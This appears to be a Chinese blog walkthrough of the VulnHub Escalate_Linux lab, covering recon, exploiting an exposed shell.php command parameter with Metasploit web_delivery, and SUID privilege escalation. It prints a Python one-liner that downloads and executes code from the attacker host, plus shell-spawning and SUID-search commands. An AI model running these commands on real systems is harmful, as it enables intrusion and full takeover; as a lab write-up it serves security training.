记录VulnHub 靶场——Escalate_Linux渗透测试过程

简介: 本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。

0x00 靶场环境搭建

链接:https://pan.baidu.com/s/1Ul1V45tb5g_3FggKWbjA4w

提取码:nz02

下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)

0x01 靶机信息收集

通过kali linux扫描本网段发现靶机IP地址

Kali Linux:192.168.94.207

靶机IP地址:192.168.94.212

发现靶机IP之后,直接上Nmap扫描!发现靶机开放了80、111、139、445、2049nfs几个端口

访问靶机80端口之后没发现有什么可利用的信息,于是直接上dirsearch搜索到一个shell.php文件

访问shell.php文件发现有一串提示,通过翻译后得知可以将cmd作为GET参数传递

那么由此我们可以上传一个shell进行反弹回来。

0x02 渗透测试

打开msfconsole控制台使用web_delivery漏洞攻击模块

"web_delivery"漏洞通常指的是通过利用Web应用程序中的漏洞来交付恶意软件或者进行攻击。这种类型的漏洞可能会允许攻击者向受害者的计算机或系统交付恶意软件,或者执行恶意代码

查看目标类型,默认为Python类型,所以我们也可以使用传参来查看靶机存不存在Python环境

靶机存在Python环境,那么我们生成Python环境的反弹shell命令,

"SRVHOST" 通常是指在渗透测试或网络安全领域中使用的一个参数或变量,代表服务主机的 IP 地址或主机名。在一些渗透测试工具(比如 Metasploit)或网络安全工具中,可以通过设置 SRVHOST 来指定服务监听的主机地址。

例如,在使用 Metasploit 搭建一个反向 Shell 的时候,你可能需要指定 SRVHOST 参数来告诉 Metasploit 监听连接的主机地址。这样做可以确保服务只接受来自指定主机的连接请求,而不会接受其他主机的连接

这里得将反弹shell的命令进行url编码,然后使用cmd传参靶机才能接收执行此命令!

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.94.207:8080/NmuALiAL7XOs', context=ssl._create_unverified_context());exec(r.read());"

这里我使用burpsuite进行url编码

使用cmd进行传参,返回kali中弹回了一个session,直接连接这个session得到shell

0x03 靶机提权

又到了经典的提权环节了,我们这里可以先使用Python实现交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

这里我们可以了解一个知识点:SUID

SUID(Set User ID)是一种用于提升程序权限的特殊权限位。当一个可执行文件的 SUID 位被设置时,该程序将以文件所有者的权限来执行,而不是执行该程序的用户的权限。

SUID 权限通常用于需要以特定用户权限执行的程序,比如一些系统命令或管理工具。例如,passwd 命令通常具有 SUID 权限,因为它需要修改系统密码文件,这是普通用户无法直接操作的。通过 SUID 权限,普通用户可以执行 passwd 命令来修改自己的密码,而无需获取 root 权限。

然而,SUID 权限也带来了安全风险,因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此,系统管理员需要谨慎地管理具有 SUID 权限的程序,并确保它们没有潜在的安全漏洞。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?

1、SUID权限仅对二进制程序(binary program)有效;

2、执行者对于该程序需要具有x的可执行权限;

3、本权限仅在执行该程序的过程中有效(run-time);

4、执行者将具有该程序拥有者(owner)的权限。

以下语句可以用来搜索具备SUID权限的程序

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

find / -user root -perm -4000 -print 2>/dev/null

接下来我们可以使用命令来查找具有suid权限的可执行文件,发现在/home/user3目录存在一个shell,进行此目录查看权限发现存在s标志出现在x权限上面,那么我们可以确定这个文件可以进行提权。

运行此shell执行文件,成功提权到root权限

目录
相关文章
|
16天前
|
安全 Linux 虚拟化
|
1月前
|
前端开发 JavaScript 应用服务中间件
linux安装nginx和前端部署vue项目(实际测试react项目也可以)
本文是一篇详细的教程,介绍了如何在Linux系统上安装和配置nginx,以及如何将打包好的前端项目(如Vue或React)上传和部署到服务器上,包括了常见的错误处理方法。
296 0
linux安装nginx和前端部署vue项目(实际测试react项目也可以)
|
2月前
|
监控 安全 Linux
如何利用Kali Linux进行网站渗透测试:最常用工具详解
如何利用Kali Linux进行网站渗透测试:最常用工具详解
123 6
|
2月前
|
安全 Linux 测试技术
Kali Linux预装的自动化渗透测试工具
Kali Linux预装的自动化渗透测试工具
154 2
|
2月前
|
Web App开发 Linux Python
linux上安装selenium环境及测试
该文章提供了在Linux CentOS上安装Selenium环境、Chrome浏览器及Chromedriver的详细步骤,并演示了如何以无头模式进行测试。
189 0
|
3月前
|
NoSQL Linux Android开发
内核实验(三):编写简单Linux内核模块,使用Qemu加载ko做测试
本文介绍了如何在QEMU中挂载虚拟分区、创建和编译简单的Linux内核模块,并在QEMU虚拟机中加载和测试这些内核模块,包括创建虚拟分区、编写内核模块代码、编译、部署以及在QEMU中的加载和测试过程。
202 0
内核实验(三):编写简单Linux内核模块,使用Qemu加载ko做测试
|
3月前
|
监控 网络协议 安全
在Linux中,如何进行系统性能的峰值测试?
在Linux中,如何进行系统性能的峰值测试?
|
3月前
|
存储 Linux 测试技术
在Linux中,如何使用expect进行自动化交互式应用程序测试?
在Linux中,如何使用expect进行自动化交互式应用程序测试?
|
4月前
|
Linux
Linux telnet安装及端口测试联通性
Linux telnet安装及端口测试联通性
131 10
|
3月前
|
网络协议 测试技术 Linux
在Linux中,如何进行网络性能的峰值测试?
在Linux中,如何进行网络性能的峰值测试?